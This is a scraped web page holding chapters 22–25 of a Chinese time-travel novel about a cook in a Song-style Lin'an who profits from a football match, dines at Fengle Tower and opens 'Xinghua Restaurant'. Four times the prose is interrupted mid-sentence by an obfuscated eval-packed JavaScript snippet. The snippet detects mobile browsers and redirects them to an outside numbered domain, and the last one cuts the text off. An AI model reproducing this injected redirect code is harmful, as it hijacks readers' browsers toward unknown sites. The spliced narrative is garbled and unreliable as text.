足球“当”的一声，砸在风流眼旁边的木板上，眼见着就要往下落。 谢临川飞快爬起来，跑到球的落点之处，猛然一跃，让球击在自己头顶，“嗖”的一声进了风流眼中。 飞行鱼跃进球！ 当当当，比赛结束的锣声响起了。 整个蹴鞠场的人都疯了一般，呼喊声排山倒海般涌起。 谢临川擦一把额头上的汗珠。 看着陆斐，他轻蔑地笑了笑，便由齐云社的人簇拥着，施施然往蹴鞠后台走去。 场外的郭朝奉也快疯了，激动得浑身乱颤。 他把江清澜的方子揣入怀中，神仙水都不要了，连滚带爬就往后场跑。 满场之中，唯有江清澜，对谢临川毫不在乎。 一片麻绳编就的大网，隔出了场内与场外。 二人几乎是擦身而过。 纵他英姿飒爽，她是看也不看。纵他万众瞩目，她是恍若未闻。 她嘴里嘟嘟囔囔的，分明是： 发财了！发财了！整整二百二十两！ 22. 桂花酒酿小丸子 谢临川沐浴完，从水房出来，鬓角还湿润着。 他方打起帘子，就见齐云社的话事人与教头跪在门口。 二人见他出来，忙趴在地上，以额点地。 谢临川心情好，微微一笑，吩咐道：“起来吧。” 二人战战兢兢起来，躬着身子，一派老实模样。 郭朝奉赔笑： “世子爷的大恩，小的没齿难忘。小的已在丰乐楼摆了酒宴，请世子爷赏脸前往。” 谢临川往圈椅上一坐，摆摆手：“不必了，我还有事要忙。” 郭朝奉听罢，忙端起旁边桌上的托盘，扯下红布。 霎时，一片黄灿灿的小圆金球晃得人眼花。 “世子爷，酒席不吃，彩头可得收。小的知道，这点儿钱，入不得世子爷的贵眼。只，我们蹴鞠赛历来有此规矩，恳请世子爷给齐云社一个薄面。” 他说的确有其事。 赛事方准备金子做的小足球作为彩头，归赢者所有。 谢临川随手拿起一颗小金足，捏在手中把玩。 “这颗我收下了。剩下的，你拿去分给齐云社的其他人吧。” 二人当下一愣，接着欢喜起来。 尤其教头，他和球员一样，拿的是月钱，这赏赐的，可是意外之财。 正心潮澎湃着，又听谢临川道：“钱拿了，嘴巴可得闭紧，我的身份，只有你二人知道。” 二人一听这警告，差点儿吓得冒冷汗，又扑通一声跪下： “小人省得。” 谢临川抬脚便要走。 那教头不知怎么鬼使神差的，又冒出一句话来：“小人斗胆，敢问世子爷，为何襄助齐云社？” “襄助？”谢临川脚步停了，“谁说我襄助齐云社了？我不过是想跟那个叫陆斐的过过招。” 他看一眼外间明朗的天光，勾起唇角：“如今看来，不过如此。” 这句话之后，再无人声。 地上二人趴了许久，才缓缓抬头。 哪里还有人，只有微风卷着帘子，把场外的沸腾与热闹带入屋内。 这厢，谢临川志得意满。那厢，回程马车上的陆斐面无表情。 砚书瞅他神色，把红布托盘掀开： “这是火焰队给的银子，五百两。奴数了，不多不少。” 陆斐盯着青色幔帘出神，“嗯”一声，算是回答。 砚书小心翼翼道： “郎君别生气，咱们虽输了球，好歹得了五百两银子。” “戴朝奉还说，郎君第二次比赛赢了球，让火焰队在关朴中大赚了一笔，到时候会给郎君分成。” 陆斐回过神来，捏捏眉心，淡淡道： “别用那种眼神看我，也别把那副表情带回家去。雕虫小技而已，输了就输了，我岂会挂怀？” 他历来低调，若非陆家此时缺钱，火焰队许诺他，无论输赢，都回以丰厚的银子，他才不会去比赛。 砚书得了回应，欢喜得很，“欸”一声钻出车去。 陆斐两道英挺的长眉又拧在一起。 蹴鞠场边，那道苍葭绿的身影，在他脑中晃过。 —— 江清澜发了大财，兴致极高。 她把东西送回江米巷后，草草收拾了，就要上街去庆祝一番。 团团见陆斐输了球，本有些闷闷，听说要上街去庆祝，也兴奋起来。 她们再次吸取教训，先去钱庄把多的银子存了，这才往饮食区域去。 只是，日常她们爱吃的小馆子，多在中瓦周围，要走一段路。 正说着要再去雇马车，江清澜忽的站住不动了。 她神秘地一笑，指了指不远处高楼上招摇的酒帘： “不雇马车了，我们上那儿吃去。” 团团瞅了一眼，瞪大了眼睛：“丰乐楼！” 历史上，真正的丰乐楼又称白矾楼、樊楼，是北宋汴京著名的高档酒楼。 据说，站在其西楼上，甚至可以俯瞰皇宫。 这里的丰乐楼虽无此噱头，但也是日日宾客盈门，贵人塞途。 团团欢呼： “咱们已经这么有钱了吗？以前爹爹在的时候，也不过是生日的时候，我才能去吃一顿。” 江清澜豪气地说：“是啊，阿姐说过，会让团团过上好日子的。” 登时，团团的眼睛比星子还亮。 待入了楼中，果见得琉璃灯映、云母屏开，一派豪华景象。 引路的小二见她们姐妹衣着朴素，却撇了撇嘴。 他将二人引去一偏远角落坐下，又提醒： “娘子可知我们丰乐楼的规矩？概不赊账的。” 这种事情，江清澜也不是第一次遇到。 上辈子，她就不爱打扮，衣服也喜欢穿些纯棉体恤之类的。 有时候，她陪老师出去做项目开会，难免会遇上一两个狗眼看人低的。 当下，她也不恼：“不赊账。” 翻着菜谱，把招牌的肉荤、素菜、点心、饮子各点了些。 小二又“好心”地说： “娘子，你二人可吃不了这么多的菜。到时候，菜上了没法退，别赖我没提醒啊。” 那鼻孔，差点儿翻到天上去了。 其实，这趟来丰乐楼，除了庆祝发财，江清澜还有一重打算。 便是考察高档酒楼的菜品。 到目前为止，她摆摊卖的冰糖水果、油卤串串这些，走的都是低端路线。 但现在，她有了本钱，预备要租铺子开店了，就得考察一下竞品中的佼佼者。 因此，她才多点了几个菜。 哪里知道，这小伙子真的是…… 她这人吧，你对我好，我也对你好，你瞧不起我，我当然也得恶心你了。 暴发户江清澜忽然嘚瑟起来，微笑着道： “小哥儿，你别担忧，我们两个吃不完，就带回去给狗吃。” “我家的大黄狗可好啦，一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15684282|172371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见我俩回去，就使劲儿摇尾巴，亲热得很。倒不像有些什么东西，总是看人低一等的。” 团团听罢，嘿嘿笑起来。 那小伙计闻言，一时语塞，也尴尬地笑了两声。 接着，他红着脸往后厨跑了，像身后有鬼在撵似的。 菜很快齐了，两荤一素一甜点——煎鹌子、豆酱鱼、旋切莴苣菜、桂花糯米丸子。 小孩子爱吃甜，团团决定先吃丸子。 糯米搓的小丸子，像一颗颗小雪团，煮得胖胖的、软软的。 碗被端来端去，里面的丸子们也微微颤动着，煞是可爱。 桂花小丸子最常见的做法是加些酒酿，取其中的甜味，以及那微薄的酒意。 微醺中的甜，更好喝。 除了丸子，碗里还有大枣、枸杞等滋补之物。看上去深红、橘黄的一片，配料甚是丰富。 团团肚子空落落的，先舀一勺蜂蜜水。 哎呀，纯净的甜，却又不腻味，还有桂花的清香，喝下去全身暖暖的。 因为有糯米粉融入水中，尝起来就带了些糊状的口感，唇齿间留味更久。 再来一勺丸子。 鲜桂花粘在丸子、红枣、枸杞上。咀嚼时，糯米丸子的软糯Q弹占了大半，剩下的一小半便是干红枣、干枸杞微柴的口感。 眼前所见并非全状。 团团吃了几口、搅动碗底才发现，下面还卧着一个荷包蛋呢。 一咬，金黄色的溏心几乎要流出来了！ 不像全熟蛋那般噎人，也根本没有生鸡蛋的腥味儿，全是鲜嫩二字。 一口溏心蛋、一口糯米丸子，再一口甜汤，三下两除二，这碗小小的桂花蜂蜜糯米丸子就□□完了。 江清澜笑她：“重头戏还没来呢，你倒把肚子吃饱了。” 说着，自己去夹豆酱鱼。 黄豆酱、酸豆角、酸萝卜等放在一起爆炒，加水淀粉做成酱汁，淋在已炸熟的整鱼上，再上蒸笼浅蒸几分钟，便做成了豆酱鱼。 入口，鱼肉鲜嫩、豆角萝卜脆爽、酱料香气浓郁，各种滋味集于一口，非常下饭。 其实，这种做法有点像川菜中的藿香豆瓣鱼。 只是，其中缺了辣，咸味儿也不够，更没有藿香。 但回过头来说，相比她印象中后世的江南菜来说，这道菜已经是重口味儿了。 上辈子，她看到美食视频中的蟹黄面、灌汤包，总是流口水。 但真正去了苏杭，她才发现，自己根本吃不惯那种甜腻的口感。 穿越到了这个时空后，她有点儿担忧，怕上层阶级的饮食也偏甜腻。 那样的话，她的生意就不好做了。 幸好，从丰乐楼的招牌菜来看，他们还是能接受浓香重油的。 正在那里想着，两个小子抬着一个锅子过来了，有点儿类似现代涮羊肉的铜锅。 他们齐声道： “娘子，您点的古董羹拨霞供来了，小心烫着。” 23. 古董羹 拨霞供 古董羹，也就是火锅。据说，其名得自食物入水时“咕咚”一声的谐音。 历史上，宋代最出名的古董羹，是林洪在《山家清供》里记载的“拨霞供”。 其实，就是新鲜的兔肉片。因兔肉泛红，夹起时如同拨动云霞，故有此雅称。 此时的拨霞供有点儿像涮羊肉，吃的是食材本身的新鲜。 兔肉片被切得薄薄的，用黄酒、酱等简单的调料腌制一下，就可入锅烫了。 这锅底呢，也不如后世川式火锅的复杂，甚至就是清水。 江清澜烫了几筷子吃，着实清鲜。兔肉切得极薄，烫得又嫩，轻轻一抿即化。 但多吃了几口，就觉味道有些单调。 再吃，更腻味了，只想夹酸酸咸咸的豆酱鱼吃。 她心道：火锅市场，大有可为啊！ 便是不加辣椒，只用羊肉、鸡骨、蘑菇等富含谷氨酸钠的食材，吊些鲜味高汤出来，烫什么不好吃？ 而且，火锅实在是省人省事。 只要把锅底做出来，雇个墩子切菜，她就可以当甩手掌柜了。不像其他菜，还要一道道地炒、煎、炸。 这般想着，她心里乐陶陶的，深觉前途一片光明。 只是，火锅也属于时令饮食，冬天吃为好。 现在是夏天，纵然丰乐楼豪奢，处处置了巨大的冰块，她们面前烧着炭火，也着实有点儿热。 经营火锅、汤锅之类的，到了冬天再说吧。 江清澜尝了味道，便令小二们把锅子撤了，把剩下的兔肉打了包。 其他几个菜，也如后世高级饭店中的一样，器皿用得精致，摆盘好看，分量却很少。 她们两个惯常是大口吃饭的，吃到最后，只剩下少许素菜。 江清澜言出必行，命人把剩下的鱼骨头、鱼油汤和莴苣菜拌在一起，要打包回去给大黄狗吃。 但她到底心软。 见之前那小二毕恭毕敬的，她也不为难，还打赏了些小费，只把他羞得脸上一阵红一阵白的。 …… 第二日，江清澜也不急着去摆摊儿了，一大早就上楼店所看铺子去。 与自住用的屋子不同。但凡能用作铺面的屋子，都临街，价格也就贵些。 并且，租买铺面的人，都是要做生意的。 这种商业行为，不涉及救济等公共事务，是以，临安府署完全没有介入铺面的租售。 所有的铺面楼店所，都是私有的。 江清澜连着走了几家楼店所，心中定了斜街北段、八字桥下的一处小铺面。 在她的财力范围内，此地位置极佳。 紧挨着定民坊、里仁坊两处民居聚集地不说，往前走出斜街，便到了最繁华的御街。 另外一个，八字桥离江米巷不远，走路可达。这样一来，她们姐妹早出晚归，就不必雇马车了。 这样一处铺子，每月须得六两银子，若按年交，便只需七十两。 若是刚穿来那会子，江清澜是想都不敢想的。 哪知道，不过几个月，她已经成个小富婆了。 她再次窃喜，自己穿到的是风调雨顺的“宋朝”，而不是什么南北五代的乱世。 …… 虽看定了这处，江清澜也不慌着给定金，只说再看看，不动声色地走了。 打起帘子正要出门，一个毛头小子风一样地跑进来，与走在前头的团团撞了个满怀。 “欸，虎子，你慢些！”门外，有中年妇人的声音追到。 幸好，团团让身后的阿姐稳稳扶住了。 她立刻瞪圆眼睛，怒视着那人，正要开口，却见那人挠挠头，继而躬身拜了一拜： “小妹妹，得罪了。” 这小子生得浓眉大眼、人高马大的，若非眉目间还是青涩的少年神色，江清澜简直要以为他是个劳力青年了。 他又做了那样一个书生气的揖礼，便显得有些不伦不类。 此时，帘子被掀起，一个素衣妇人进来了。 江清澜眼睛一亮：“欸，蕙姐姐，是你！” 说来真巧，此人正是王女侩——当初，在侯潮门外招江清澜去做工的那一位。 便是在建隆寺做了几天斋菜，有了吃住之所，还赚了些银子，她才在艰难处境中缓过口气来。 后来，她去临安府署办牙帖，也是请王蕙娘做的保人。 说起来，王蕙娘实在是她的一位贵人。 只是，她这些日子忙着搬家、摆摊，现下又租铺面，还未能好好地表达感谢呢。 王蕙娘也是又惊又喜：“江娘子！” 将她通身上下打量一番，点头道：“当日我就看出，你实非常人。如今，不过几月不见，你已穿上丝锦了！” 这么直接的恭维…… 江清澜有点儿脸红：“嗐，说那些干嘛，蕙姐姐最近还在做女侩吗？” 二人走到一边去，细细摆谈起来。 原来，王蕙娘是个寡妇，独自把儿子虎子拉扯大，很不容易。 她盼望着儿子日后能考科举，光宗耀祖。 此地不远处，有一所青萍书院，她想让儿子去那儿上学。他们之前住在武林北路，离书院太远，她便想来附近租宅子。 江清澜灵机一动：“蕙姐姐可有了心仪的住所？” 对方摇头：“我这才开始看呢，尚未找到合适的。” 江清澜四处一瞅。 幸而楼店所生意好，牙人们都忙着自己的事儿，没人在意她要断他们的财路。 她压低声音： “蕙姐姐，不若与我做邻居？我赁的屋子在江米巷，离青萍书院不远。” 王蕙娘是个女侩，看人颇准。 当初，她就觉江清澜的手艺甚好，又不计较钱君君冒名顶替之事，是个能成事儿的人。 她有意与之结交，才告知了自己的地址。 只是，后来二人都忙，才疏于走动。 当下，听说能做邻居，她高兴得一拍手：“那可敢情好呀，咱们姐妹也好相互照应。” 二人说着便要走，都抬眼去寻两个孩子。 不知何时，虎子与团团已忘了方才的龃龉，玩儿到一起去了。 虎子正拨弄着一个陀螺，让它在地上滴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15688777|172371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 溜溜地转，团团则嘻嘻哈哈地笑着。 …… 此时，天气已经颇为炎热了。 傍晚，东平王府的聆泉院里，谢临川站在窗边，卷着一本书，迎风看得认真。 平林恭敬上前，手中捧着府里做的消夏盛品——冰雪荔枝膏。 他见谢临川这副模样，心道： 世子爷去了临安府署，果然不一样，竟自己看起书来了！若是让王爷知道，岂不美哉？ 一边想着，一边把荔枝膏呈上案去。 这荔枝膏是临安传统的夏日冷物。 名曰荔枝，实则并无荔枝，其原材料是乌梅、丁香等物。 在这些东西中，加入冰糖，细细熬制，终成膏状。 这膏因为各种食物奇特的杂合，竟然有了一股荔枝味儿，故得名“荔枝膏”。 不仅吃起来软烂可口，更有生津止渴、解腻去烦之效。 若是平日，直接吃，或者加些水果粒，都是极好的。 夏日里，则将冰块捣烂为冰沙，混在膏中，就成了冰雪荔枝膏。 平林光是捧着琉璃盏，看一眼冒着的丝丝冷气，都觉暑气尽消、肺腑皆冰雪。 谢临川却只把琉璃盏捧在手里，让其凉气缓解一两分暑意。 良久，他像是想通了关节，忽的笑了。 把书往桌上扔了，用小银勺挖起荔枝膏，尝了一口。 甜腻腻的。 他两道英挺的眉毛微微一蹙，又把琉璃盏放下了，唤过平林：“你去中瓦，买几盅柠檬汁回来。” 比赛那几日，平林未去蹴鞠场，不知江清澜的招牌。 当下，他有些蒙蒙然：“什么汁？” 他的目光瞟过案牍上的书封，看见“尉缭子”三个大字，铁钩银划的。 他吓得一哆嗦！ 这不是兵书吗？王爷三申五令，不准世子爷看兵书。 谢临川心情好，难得耐心一回，解释道： “柠檬汁，中瓦的江娘子那里在卖。” 平林得了令，惴惴不安地去了中瓦，哪知一趟儿回来，心里更忐忑了。 “回世子爷，江娘子未在中瓦出摊？” “未出摊？”谢临川望了望外面火红的晚霞。 “你上次去请，她不是说除非下雨，或是蹴鞠比赛这等盛事，其余时间，她都在中瓦？” 大夏天的，平林怎么觉得自己在冒冷汗： “是……上次，江娘子是这般说的。” 霎时间，西山蹴鞠场里，那个苍葭绿的身影浮现在谢临川眼前。 他又隐约记起，在齐云社后场里，他喝过一些柠檬汁。 后来听说，火焰队从她手里买走了柠檬汁的方子。齐云社，则买了一种叫神仙水的。 仔细一想，他便明白了她企图。 兵者，诡道也。 说什么五十两作未来一年的预支。自己竟被利用，白白帮她做了一道广告！ 恐怕此时，她已拢了钱，卷款潜逃了！ 谢临川冷冷哂笑。 狡猾的女娘！敢耍我，你还是临安城里的头一个！ 24. 牛肉面 熟醉虾 江清澜可没有“卷款潜逃”，而是要坐商变行商，赚更多的钱。 她规划了两日，把八字桥下的铺面定了。 等王蕙娘也搬来了江米巷，生活逐渐走上正轨，她便要宣布新的计划了。 这天，虎子从青萍书院下了学回来，照例来江家小院喂大黄狗。 他小时候在乡里长大，最爱逗弄小猫小狗。 一到江米巷，他就把大黄狗收服了。 正好，在喂狗一事上，江清澜姐妹二人头疼不已，虎子却干得不亦乐乎。 虎子喂了狗，正要回家，见团团站在街阴上招手： “虎子哥，今晚上你别做饭啦。我阿姐说，等婶子回来，你们上这儿来，咱们一块儿吃牛肉面。” 王蕙娘日常在外做工，家务活儿都是虎子做的。 只是，他一个半大小子，饭能煮熟就不容易了，谈不上好吃不好吃。 这两日搬家，忙忙碌碌的，他与王蕙娘都是随便应付的。 虎子挠挠头，那酸儒气又来了：“先生说，无功不受禄……” 团团眨了眨黑葡萄般的眼睛： “哎呀，你去喂大黄狗，可是帮了我们大忙了，还没有‘功’呀？” “再说了，你是不知道，我阿姐做的面，那叫一个好吃。” 她开始绘声绘色地形容： “二指宽的大片牛肉、顺滑又劲道的面条、辣酥酥的红汤底，筷子挑起一大夹，吸溜一声……” 正说着，真有吸溜一声，是虎子吸了下口水。 他如梦方醒，忙捂住嘴巴。低头去看，衣襟上已有一坨水渍。 登时，他脸红得成了个猴儿屁股。 囧得不行！ 虎子抓着衣襟，飞也似的往院外跑，在风中留下一句： “成，等阿娘回来了，我们就过来。” …… 江清澜请王蕙娘母子过来，是想与他们谈谈开馆子的计划。 奈何这两日，她都在跑铺面的租赁手续，腾不出手来操办席面。 另一个，王蕙娘母子是她们姐妹的朋友。朋友之间讲究心诚，犯不着整那些中看不中吃的菜。 想来想去，她决定就吃牛肉面。 在现代，牛肉面是路边小吃，上不得台面。 但在此时，牛作为耕田劳力，是很金贵的。所以，牛肉作为价高的食物，招待朋友也拿得出手。 并且，虎子正是吃不饱的年纪，碳水和肉一定得备足。 如此看来，牛肉面作为晚饭，是很合适的。 但做哪一种呢，江清澜很是犹豫了一下。 牛肉面，不同地方有不同的风味。 譬如兰州牛肉面，也就是遍布全国的兰州拉面，是以清鲜为主。讲究“一清、二白、三红、四绿、五黄”——面汤清，萝卜片白，浇头辣子红，芫荽绿，面条黄。 这面本身无甚味道，也不另放调料，全靠汤底的鲜美染味。 而阆中牛肉面，最特别的就是，汤底是黑色的糊糊。 每一根面条，都裹着这些黑乎乎的东西。 这是因为，熬制底汤时，加入大量香料、调味品后，还放了不少湿豆粉。 如此一来，原本的汤水变得粘稠，颇似河南的胡辣汤。 糊糊里全是重料，裹在每一根面条上，让食客更能体味到浓香赤酱。 而打底的黄豆芽带来的清香，综合了糊糊面的油闷。 最终，此等牛肉面，成为阆中人民欲罢不能的美味。 但江清澜最后做的，却是成都牛肉面。 因为这种面，并不像上面两种一样，靠汤底出味，而是靠油辣子。 油辣子便于携带。前些日子，她熬油卤串串，将多出来的底料加了牛油，做成了火锅料一般的小方块。如今，可随吃随取。 昨日卤的牛肉、擀的手工面都还有。多切些牛肉、抓几把面条下水浮几浮，牛肉面便成了。 所有流程里，调料至关重要—— 虽然成都牛肉面以油辣子为底味，但其他的调料亦不可少。 这底料里，便加了酱油、醋、盐、川椒粉等各种。 即便是平常的佐料，每种分量却十分关键，能使之互相成就、相得益彰。 此外，面里的特制油辣子，须得既有红彤彤的油，又有川椒、茱萸等各种混合成的固体沉淀物。如此，才既有卖相又出味。 接下来，舀起一大勺面汤，将碗里的各色调料稀释。 最后，铺上雪白的手工面条、放入切片的卤牛肉，牛肉面便大功告成了。 夏夜，凉风习习。 虎子、团团争着把面端去院子里。他们四个人，一人坐桌子的一方，一人端一碗面，呼哧呼哧地嗦着。 手工面的好处就是劲道弹牙、久煮不烂。 裹上油辣子，热腾腾、辣微微、香喷喷。 吃着这样的面，实在美妙。 江清澜吃了几口，忽的想起：“哟，还有道菜呢。”忙去厨房里端了出来。 原是一道熟醉虾。 陶钵里盛了八九只大头虾，个个饱满肉多，呈黄橙色。 盖子揭开，浓浓的酒香扑面而来。 在现代，醉虾本是江南名菜，以花雕酒焖活虾，待虾停止跳动后，生而食之。 以前，江清澜绝不吃生食，但也见别人吃过。 到这个时空后，考虑到没有抗生素，吃坏了肚子不好治。纵然团团提了好几次，她也不许吃生食。 今天，着实是看着虾新鲜，王蕙娘她们又惯爱吃，才少买了些。她用了足够浓的酒腌制杀菌，以减少感染的可能。 现在，所有的大虾，都浸没在酱褐色的汁水里，使得虾壳与虾肉之间，有了一层清浅的褐色。 有的还在晃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15696203|172371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动着，让人错觉，虾还活着。 三片柠檬片、四颗干话梅、两枚桂叶，点缀在表面，颜色丰富、香气融合，招惹着人的食欲。 这种江南的清淡口味，配合爽辣的牛肉面，正是相得益彰。 很快，虎子把那斗大的碗吃了个底朝天。见醉虾又来了，他眼睛顿时比星星还亮。 放两个小孩子吃着，江清澜把王蕙娘叫到屋里，直言道： “蕙姐姐，你做女侩，每日需出走奔波。辛苦不说，还要与虎子分离。” “我的饭馆马上就要开张，需要人手。我给姐姐一两银子一月，虎子一钱一月，就在我店里做事如何？” “姐姐是个能干人，泥工瓦工、婢子女娘，都有人脉。虎子也有一把力气，待他下了学，帮忙挑些水、赶赶马车什么的，可好？” 王蕙娘听了，一月一两，收入稳定，还不用到处奔波。何况，连虎子都有银子拿。 这天大的好事，她岂有不应的？ 她一下抓住了江清澜的手。 …… 第二日，二人去八字桥下铺面看过。此地原是一个包子铺，店主经营不善，退了租。 铺面不大，前厅只摆得下七八张桌子。好在东西齐全，后院有灶、有水井，甚至还有一溜小菜园，可以栽点儿小葱什么的。 二人一合计，制订了装修计划。 王蕙娘做了多年女侩，虽多是厨娘、绣女的人脉，但一打听，也寻得到好的装修工人。 她极为老成地道： “木匠、漆匠这些没有问题，我定找些活儿干得好，又便宜的。” “只这店的名字，咱们得早些想好。早些把酒帘子做好，招牌挂上去，也早些网住些客人。” 江清澜笑道：“这个我早有主意。” 她从外边捡了根树枝，在满是灰尘的桌子上，极为认真地写下四个字： 杏花饭馆。 王蕙娘略识得几个字，但对诗书一窍不通。 见状，她看一眼外边成荫的绿树，蒙然道： “这道上多是槐树与柳树，未曾见过杏树。取这个名字，是何意？” 江清澜嘴角上扬，露出些神往之色： “如今是夏日了，春花凋零。” “待到来年春天，暖风裹挟细雨，催得四野杏花初绽。” “清晨雨霁之时，沿街定有小贩叫卖杏花，我们买上几支，插于饭馆儿的柜台之上，岂非市井之乐？” 小楼一夜听春雨，深巷明朝卖杏花。 矮纸斜行闲作草，晴窗细乳戏分茶。 撇去那些悲哀的外交政事，江清澜对宋代市井生活最初的想象，便来自陆游的这两句诗。 如今，她虽为果腹奔波劳累许久，内心到底还存有文化人的一片诗意。 身在局中，焉能不亲手去创造？ 江清澜微微一笑。 25. 雪霞羹 莲房鱼包 今儿是个大晴天，天光甚是明亮。 时辰尚早，御街南段，各色早点店、小摊儿已开始了吆喝。 “买包子嘞——王楼山洞梅花包子——” “肉饼肉饼，曹婆婆肉饼。外酥里嫩，皮薄馅儿多的大肉饼——” 一条大街上，到处乱糟糟、吵哄哄的。 只是，到了临安府署这儿，气氛陡然变得肃穆起来。 两座石狮子凶神恶煞、威武十足。两个高大的士兵，面无表情地执枪肃立。 但进了偏门——财赋司的小院儿，就是另外一副天地了。 杨松一边走，一边咬着手里的曹婆婆肉饼，任那浓郁的油香、肉香满口乱窜。 待到了院门口，摸出钥匙要开门，他才发现手不够用了。 于是，他把肉饼咬在嘴里，左手捏锁、右手攥着钥匙，“咔嚓”一声。 其实，上值时间还早。 但他在家也是一个人，冷锅冷灶的，不如早些出来，还能赶上热乎乎的曹婆婆牌肉饼。 他脚还没迈进院子，看门的老头儿田二从旁侧巷子跑出来：“杨郎君——” “欸，田阿翁——”杨松忙把肉饼拿下来，嘴里赶紧胡乱一嚼。 油乎乎的嘴还来不及擦，就道：“有什么事儿吗？” 田二手里抱着个小包袱。 素色细布上，绘着几朵紫色的木槿花，看着很是淡雅。 “天麻麻亮的时候，有个女娘赶着马车来，托我把这个东西交给杨郎君您。” 杨松接过包袱，谢过田二，心中泛着狐疑。 女娘，哪个女娘送东西给他？ 他这个人感情有点儿不顺，虽在衙门里当差，到现在还光棍儿一条。 依算命先生的说法，他这个人是天煞孤星。 是以，他出生不久父母就去了，前些年，与他相依为命的姐姐也走了。 他本来还不信邪，去年也说定过一家娘子，结果……欸，反正不是好事。 这下，他真信了算命先生的说法了，得二十五岁后才能娶亲，便一门心思打起了光棍儿。 好端端的，怎会有人送东西？ 他近日闲得无聊，很看了些打打杀杀的话本子。 当下，他心中冒出个可怕念头来。 难道是有人对府署不满，存心报复，放了火药进去？ 他围着小包袱东看西看，也不像啊。 小心翼翼地拆了，发现最上面是一封红色的请柬，娟秀的小字写着： 杨郎君：谨詹于六月二十三，新店杏花饭馆，于斜街北路、八字桥下开张。 洁治壶觞，恭候车驾。 署名是：江娘子。 哈，江娘子？杏花饭馆？杨松的眼前浮现出一个窈窕的身影。 江娘子可真了不起，这么快就开饭馆啦！ 杨松欢喜起来，也不记得自己的牙帖费又少了一笔，只憨憨地笑着。 —— 东平王府外，谢临川乌靴踏上马镫，正要去上值。 夏荫追出来： “世子爷，老夫人说，晚些时候长公主要来，特意说要见你。” 承平朝只有一个长公主，便是官家的胞姐安国长公主。 长公主和官家，可以说是谢老夫人看着长大的。 如今，几十载岁月忽忽而逝，故人越来越少。 隔三差五，长公主便要上王府来找谢老夫人叙旧。 临安府署这个值，谢临川纯粹是上给他父王看的。既然长公主来了，他就不用去了。 回了聆泉院，他想起一事，唤了平林过来：“中瓦还是没人？” 他最近有点儿烦躁，那双英挺的眉毛时不时皱着，像是隐隐蓄了些风雷。 平林摇一摇头。 半个多月了，他日日派人守在中瓦，但江娘子真像失踪了一般，再没出现过。 世子爷起先问他，还带些笑意，渐渐地，就像这般，眉头皱了、脸黑了。 当初她拒入王府，说就在中瓦，随时来买是一样的。这话，是他平林传达给世子爷的。 现在人不见了，这锅，多少得算在他头上。 平林这般想着，越发把脖子往里缩了半分，心道： 世子爷从未如此看重过哪个娘子，这是上了心了？ 偏偏他说要使人去查一查，爷又说犯不着。 既犯不着去查，隔三差五又要问，爷到底想干嘛，平林也搞不懂了。 正要开口，夏荫使了小丫鬟来说： “长公主到了，老夫人请世子爷过去。” 谢临川到清心院时，谢老夫人正在招呼长公主吃点心。 见了孙儿来，她笑道： “你快来，咱们这儿新做了时令的雪霞羹，来尝尝。” 雪霞羹这名字一听，就很雅。 其中的“雪”，指的是豆腐，“霞”则是荷花瓣。 林洪的《山家清供》记载：“红白交错，恍如雪霁之霞，名曰雪霞羹。” 谢临川瞟了一眼，荷花瓣绕着白玉瓷盘铺成一圈，因汆过水了，粉红中透露着些许蓝紫色。 花瓣中间，众星捧月般堆着豆腐块，软嫩又雪白，似乎要爆浆般快塌下来了。 几许淡黄的嫩姜丝、翠绿的葱叶丝铺在其上。 再看剩下的几个菜：莲房鱼包、山家三脆、梅花汤饼，等等。 莲房鱼包也是用荷花做的菜，比雪霞羹更讲究、更费时。 新鲜的莲蓬挖去内瓤，填入调制好的新鲜鳜鱼鱼泥，上锅蒸制。 最后，将这蒸熟的肉莲蓬放于盛开的莲花正中，所谓莲房鱼包，便做好了。 上这道菜的时候，往往要放些干冰，让莲花处在白烟缭绕之中。从视觉上，给人清爽消夏之感。 山家三脆是嫩笋、小蕈和枸杞头炒制而成的，味淡而清鲜。 梅花汤饼则是以面粉做成梅花状糕饼，入水与梅花同煮。 谢临川与祖母、长公主行过礼，略略吃了几片嫩笋，便搁了筷子。 他心里冒出个念头：这些菜好看是好看，就是年年夏日如此，有些吃腻了。 谢老夫人见一副神在在的模样，也不拐弯子了： “长公主今日来，是专为你的事。” 安国长公主便道： “我有一个故交，乃将帅之才，排兵布阵、枪棍刀剑无一不精。现下，他也在临安府署当差。我已经与他说过了，让他好好教你。” 谢临川长眉一挑，立时正经起来。在临安府 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 